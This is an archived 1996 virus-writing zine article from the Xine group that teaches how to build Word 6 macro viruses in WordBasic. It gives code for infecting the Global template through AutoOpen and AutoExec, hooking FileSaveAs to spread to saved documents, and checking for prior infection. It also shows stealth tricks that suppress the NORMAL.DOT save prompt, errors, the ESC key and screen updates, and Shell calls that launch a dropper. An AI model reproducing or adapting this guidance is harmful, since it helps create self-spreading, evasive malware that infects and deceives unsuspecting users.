home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / XINE-1.ZIP / XINE-1.008 < prev    next >
Text File  |  1996-10-25  |  17KB  |  356 lines

  1.  
  2.                                         /-----------------------------\
  3.                                         | Xine - issue #1 - Phile 008 |
  4.                                         \-----------------------------/
  5.  
  6.                              --------------------
  7.                             . Wordmacro  Viruses .
  8.                              ---.  by  b0z0  .---
  9.                                  ------------
  10.  
  11.  
  12. 1. Introduction 
  13. ---------------
  14.  In this last period the Wordmacro viruses became well known by any PC 
  15. user. After the first succesful macro virus attempt (the Concept macro) 
  16. many new techniques has been implemented in this type of virus  
  17. programming. Macro viruses are really simple to build, because they are 
  18. programmed in a  quite simple programming language internal to Word (6.0 
  19. or later) called Wordbasic. Using some lacks of security and some risky 
  20. default options (that are also unconsidered by the tipical Word user :))  
  21. the infection and spread can easily become truth. In general the most 
  22. used AV products (i mean TSR utilities) doesn't care of DOC files, 
  23. because they are never really executed. This is the mainly advantage of 
  24. Wordmacros. Some guys also consider that Wordmacro viruses can be 
  25. considered as a multiplatform product, but this, due to some lacks of 
  26. Micro$oft work, isn't totally true.
  27.  
  28.  
  29. 2. How they work?
  30. -----------------
  31.  All Word documents can contain near the text also a file called 
  32. Template, which includes some specific definitions or macros (created 
  33. with the included Word macro editing utilities) that can operate in a 
  34. certain way on the text. This included macros can be also 
  35. autoexecutable, this means that they can run at the moment while the 
  36. document is loaded or can be executed on a determinate event. Word has 
  37. some predefinited macros with reserved names, which starts on some 
  38. specific operations like saving or opening a document. This 
  39. predefinited stuff (with all others default page styles and so on) is 
  40. located in the NORMAL.DOT template file. Creating a macro with one of 
  41. the predefinited names will lead to execute something that we like at a
  42. specified event. The AutoExec macro for example is executed at the Word 
  43. startup, the AutoOpen is executed at each document opening. So the 
  44. general rule to do a takeover on the system is to replace some of the most 
  45. used predifined macros with our virulent macros. 
  46.  
  47.  
  48. 3.Creating a macro virus
  49. ------------------------
  50.  So the first thing to do in our Wordmacro is to put our virus macros 
  51. instead of the original ones when the infected document is opened.  We 
  52. can easily put in the AutoOpen macro some lines, that will copy our 
  53. infecting routines on the right place in the main Word macro storage 
  54. (this is called the Global template), when the document will be opened. 
  55. For example if we want to copy our macro AutoClose in the Global template
  56. our AutoOpen macro will look like this:
  57.  
  58.  
  59. Sub main
  60.  MacroCopy WindowName$()+":AutoClose",   "Global:AutoClose" ,1
  61. End sub
  62.  
  63.  
  64.  The Macrocopy commands in Wordbasic copies a macro (from a template) to 
  65. another macro (in the same or in another template) With this we will replace 
  66. the Autoclose macro in the Global template with our Autoclose from the 
  67. current infected document (which name is given by the "WindowName$()" 
  68. function). The final ",1" means that the macro is "Execute Only". This 
  69. attribute won't let the user to read or modify the macro once that it 
  70. was created. If we don't put the final "Execute Only" attribute any lamer 
  71. will be able to change something in our virus or the user will notice 
  72. that the macros aren't really of use to his work.
  73.  A tipical Wordmacro virus will look for other more interesting 
  74. predefinited macros. That would be cool, if we had the possibility to 
  75. infect a document when it is being saved. To do this we can handle the 
  76. FileSaveAs macro. We can put in it some code, that will put near the text 
  77. that the user will save also our virulent macros. Like we told at the 
  78. start of this section the add-on macros don't directly go to the DOC 
  79. file, but to the template file (DOT). This isn't a very good thing, 
  80. because like maybe you will notice, this will prevent us to infect other 
  81. DOCs. This isn't true, because we can save anyway the user's work as a 
  82. template and Word will at the next time load the saved file normally as it 
  83. is a normal document. In this manner our macros will go around the world 
  84. with the file with the extension .DOC, but definitely it will be only a
  85. template :) Let's see an example of a FileSaveAs macro:
  86.  
  87.  
  88. Sub Main
  89.  Dim dbox As FileSaveAs  'we define which dialog box will appear
  90.  GetcurValues dbox       'we inicialize and run the dialog box
  91.  Dialog dbox
  92.  Macrocopy "Global:AutoClose", WindowName$() + ":AutoClose" ,1
  93.  Macrocopy "Global:FileSaveAs", WindowName$() + ":FileSaveAs" ,1
  94.  dbox.Format = 1         'we are saving a template
  95.  FileSaveAs dbox         'we finally save it
  96. End Sub
  97.  
  98.  
  99.  In this example we copied two virulent macros (AutoClose and FileSaveAs) 
  100. in the new file, which name was given by the user in the dialog box. We 
  101. must of course first define the type of dialog box like a variable. If we 
  102. was handling another macro (say FileOpen for example) we may use another 
  103. dialog box depending on the macro (Dim dbox As FileOpen for example). 
  104. After inicializing the dialog box with GetcurValues (general inicializing 
  105. like directory where we stay, type and so on) we can finally display the 
  106. dialog box simply running Dialog and putting the name (in our case dbox) 
  107. of the just defined dialog box. Once copied our macros we defined that 
  108. we were saving a template and finally called the old save routine.
  109.  To implement our file infection macro we can also test, if the type of 
  110. file we are saving is a DOC or a DOT. If the file is something other (for 
  111. example the user is trying to save to a normal text file) it would be 
  112. good not to copy the macros. To prevent this we can put a test after 
  113. invoking the dialog box and test the dbox.Format. If the dbox.Format is 
  114. equal to 0 then the user saved in a DOC file (and we can infect it of 
  115. course transforming it in a template) and if the dbox.Format is equal to 
  116. 1 the type is a template. In all the other cases the user selected 
  117. something other, that we won't infect. So the test rutine after invoking 
  118. the dialog box will be something like:
  119.  
  120.  
  121. If ((dbox.Format = 0) Or (dbox.Format=1)) then
  122.     'Infect them!
  123. End If
  124. FileSaveAs dbox
  125.  
  126.  
  127.  Like for FileSaveAs we can for example try infecting on FileSave or on 
  128. FileOpen (when a file is opened) or sometime else. This just depends from 
  129. your taste. 
  130.  Now that we have put some of our routines in the Global template it 
  131. would be good to write a macro, that will make our virus active when Word 
  132. starts. This macro is named AutoExec and will appear very simillar to the 
  133. AutoOpen macro. Infact in both cases we will only copy our macros instead 
  134. of the original ones if they aren't already installed. 
  135.  Another important thing, while we are going resident or infecting a 
  136. document, is to control if the template (the Global if we are just going 
  137. resident or the file's template if we are infecting) is already infected 
  138. by our virulent macros. Simply we can scan all the names of the 
  139. installed macros and seek for one (of more) of our macros. This may look 
  140. like this:
  141.  
  142.  
  143. For Cnt = 1 To CountMacros(0)    'we control all the macros in the Global
  144.   If Macroname$(Cnt,0) = "OurNamedMacro" Then          'it is ours?
  145.     Founded = 1        'we mark someway that we got it!
  146.   EndIf
  147. Next Cnt
  148.  
  149.  
  150.  Now we have put some good macros in the Global template. When a user 
  151. will end his work and on a file and will exit from it, Word will 
  152. automatically notice him that also the NORMAL.DOT (the Global template) 
  153. has changed, asking you for a confirmation of saving. Of course this 
  154. wouldn't be a very good stealth feature. To prevent this we can now 
  155. write a macro, that will activate when we will exit from a file, that 
  156. will deactivate the Yes/No prompting. The macro that we are looking for 
  157. is the FileExit. To disable prompting we must just turn to zero a Word 
  158. internal variable and then recall the old FileExit procedure. So the macro 
  159. will be:
  160.  
  161.  
  162. Sub Main
  163. ToolsOptionsSave .GlobalDotPrompt = 0
  164. FileExit
  165. End Sub
  166.  
  167.  
  168.  The ToolsOptionSave is the well known Save folder in the Tools menu in the 
  169. submenu Option, where are defined the preferences on saving. In this case we 
  170. just directly switched off in that menu the option that enables prompting 
  171. for saving changes in NORMAL.DOT. 
  172.  Additionally in all our macros it would be very good to include the "On 
  173. Error Goto" capability, that automatically call the function that is 
  174. given it as a parameter on an error occurance (after a function call or 
  175. more simply if there is a compatibility problem like we will see later). 
  176. This is *very* important when writing macros that includes dialog boxes 
  177. or interrupable jobs. Infact when a user press the Cancel button in any 
  178. dialog box an error will be generated, telling to the user that the macro 
  179. wasn't succesfully completed. With a small error handler we can hide 
  180. these errors and let our macros to continue. For example:
  181.  
  182.  
  183. Sub Main
  184. On Error Goto NoGood
  185. ; put here ya macro
  186. ; ......
  187. ; end of the macro
  188. NoGood:
  189. ; do something else... for example only give again the control to the 
  190. ; original function that the user was calling or just exit out of the
  191. ; macro
  192.  
  193.  
  194.  Another very important Word option that must be set (to be as stealth as 
  195. possible) is the Disableinput variable. Setting this to 1 will prevent 
  196. the interruption of the macro with the ESC key. If you don't set this a 
  197. user a little intelligent (duh... but if he was a little intelligent he 
  198. wouldn't use Word ;) ) may press ESC during the execution of your macro 
  199. (for example is you are writing to a file on the disk Word is halted for 
  200. many seconds and he can notice the activity on the disk... but anyway 
  201. under windoze the hard disk is always trashing ;))) ) for stopping it. 
  202. What is worst is that if he stopped a macro with ESC he will receive a 
  203. notice that the macro was succesfully stopped... not really a stealth 
  204. feature ;)
  205.  To continue with the stealth features (duh :) ) there is another 
  206. Wordbasic command that may be useful to hide ourself. Infact if we set 
  207. ScreenUpdate to 0 the document (or macro or everything :) ) will not be 
  208. updated during the execution of the macro. This can be very useful if 
  209. your macro also modifies something in the window with the text. To enable 
  210. again screen updating just set the variable to 1.  
  211.  Maybe someone of you already noticed that the names of the functions 
  212. that we call are basically the same as the full name in the Word menus. 
  213. For example:
  214.    FileSaveAs        ; is the SaveAs command in menu File
  215.    FileClose        ; is the Close command in menu File
  216.    ToolsOptions     ; is the Options command in menu Tools
  217.    ToolsOptionsSave ; is the Save folder in the Options command in 
  218.                     ; the menu Tools
  219.  So, all the commands of the menu File are precedded by a 'File' and so 
  220. on. Just think what command do you want to hook, give a look to the help 
  221. for the complete syntax and go write the macro :)
  222.  
  223.  
  224. 4.Handling files
  225. ----------------
  226.  Aditionally in Wordbasic you can also manipulate any external file on 
  227. your hard disk. There are a few important command commonly used. The 
  228. first is Open that opens a file on the disk. There are three types of file 
  229. opening:
  230.  
  231.  
  232. Open "C:\PADA.NIA" For Input As #1
  233. Open "C:\FOOBAR" For Output As #2
  234. Open "C:\GULLI.VER" For Append As #3
  235.  
  236.  
  237.  With the first we open the file only for reading, in the second case for 
  238. writing and in the last we open the file for appending data at the end 
  239. of the existing file. Like you will see we must also assign a number to 
  240. each file we open. Word can actually handle a maximum of 4 files (1-4). 
  241. When we open a file for writing if the file doesn't exist Word will 
  242. create one for us. When we want read from a file if it doesn't exist Word 
  243. will give us an error (which can be easily handled with the already 
  244. described error handler). This can be useful if we are checking is a file 
  245. exist or not. Infact to see if a file is on the disk we can only open it 
  246. for Input and if an error occours then the file doesn't exist (and maybe 
  247. we are going to create it). 
  248.  After we succesfully opened a file (depending what we want to do) we 
  249. can now write something to it with the Print or with the Write command 
  250. (there is only a minor difference in the format between the two commands).
  251.  
  252.  
  253. Print #2, "Chauabunga"
  254.  
  255.  
  256. We can also read something from it using the Input$ function (or also the 
  257. LineInput command if we are goin to read a line that is terminated with a 
  258. CR-LF sequence):
  259.  
  260.  
  261. somechar$=Input$(20,#1) ;this will read 20 characters from the file #1
  262. Line Input #1, $our     ;will put in the var $our the current line from #1
  263.  
  264.  
  265. When we have done all our operations on the file we finally can close it 
  266. with a simple:
  267.  
  268.  
  269. Close #n                ;closes file number 'n' 
  270.  
  271.  
  272. There are also many other very useful commands that may be of use in our 
  273. virulent macros (for example is very interesting the function Lof() which 
  274. returns the lenght of a file in bytes, Kill() that deletes a file, 
  275. SetAttr that changes the attributes of a file, GetAttr that takes the 
  276. attributes of a file, Name to rename a file or a directory, File$ to 
  277. search in the current directory some files with a pattern  and so on) 
  278. but of course i'm not going to talk about them all :) Just give a look 
  279. to the help file for a more complete guide.
  280.  
  281.  
  282. 5.Executing Dos Commands
  283. ------------------------
  284. After the file handling with Wordbasic we can also execute any external 
  285. Dos program and also some of the internal Dos commands. To execute and 
  286. external program the syntax is very simple:
  287.  
  288.  
  289. Shell "C:\DROPPER.COM", $type 
  290.  
  291.  
  292. After Shell we put the command that we would execute and the type (this 
  293. isn't mandatory) of the window of the program that is being executed. The 
  294. type can be a number from 0 to 4 where:
  295.  
  296. 0 means that the window is minimized to an icon
  297. 1 means normal window
  298. 2 means like 0. this is put for compatibility with Excel
  299. 3 means big window
  300. 4 means inactive window
  301.  
  302. And this is all about the execution of external programs. Now let's give 
  303. a look to the Dos internal commands that Wordbasic support. Of course, 
  304. using this will not be spawn a window, so the user won't notice  
  305. absolutely anything. For example:
  306.  
  307.  
  308. Mkdir "C:\GPL"
  309. Shell "mkdir C:\GPL",0
  310.  
  311.  
  312. These final effect of this commands will be the same, but the second will 
  313. spawn a new Dos shell for the execution of the command, and this maybe 
  314. will alert the user. It will of course also use more PC resources. 
  315. Here is a small list of very useful Dos internal commands supported by 
  316. Wordbasic:
  317.  
  318.  
  319. Chdir "C:\FOO"        ;changes current dir to C:\FOO
  320. Mkdir "C:\WINSLOTH"    ;creates the directory C:\WINSLOTH
  321. Rmdir "C:\W1NL0SE"    ;deletes the C:\W1NL0SE directory
  322. path$=Environ$("PATH")  ;puts in path$ the current PATH
  323. Filecopy .....        ;to copy a file
  324.  
  325.  
  326. and so on... :)
  327.  
  328. 6. Other Stuff
  329. --------------
  330.  Apart from this you can also do many other useful things with the 
  331. Wordbasic language. There is a full set of arithmetic operators and 
  332. functions for example. Commands to determine many things of a machine 
  333. (like language, cpu, mem) are also avaiable. The handling of the WIN.INI 
  334. config file is also a good optional :) as in other high level languages 
  335. the manipulation of strings is fully implemented.
  336.  
  337. 7. Multiplatform features
  338. -------------------------
  339.  One of the worst things of the Wordmacro viruses is the portability. 
  340. Infact a Wordmacro virus written using the english set of commands won't 
  341. work with the swedish version. Word will notice to the user that there 
  342. are some macros that are using unknown commands. Infact all of the names 
  343. of the menus are different. The FileClose of the english Word is for 
  344. example FileChiudi in the italian and DataiBeended in the german version. 
  345. That's simply because the names that are present into the menus are 
  346. different from version to version. 
  347.  
  348. 8. A real threath?
  349. ------------------
  350.  There is really simple to protect yourself from being infected. You can 
  351. just disable the automatic execution of the macros. So Wordmacros can't 
  352. be absolutely considered a real threath. Anyway the Wordbasic language is 
  353. fun and has _a lot_ of interesting commands that can be used. 
  354.  Definitely Wordmacros are nice for us to have a little of fun, as usual 
  355. in our work :) 
  356.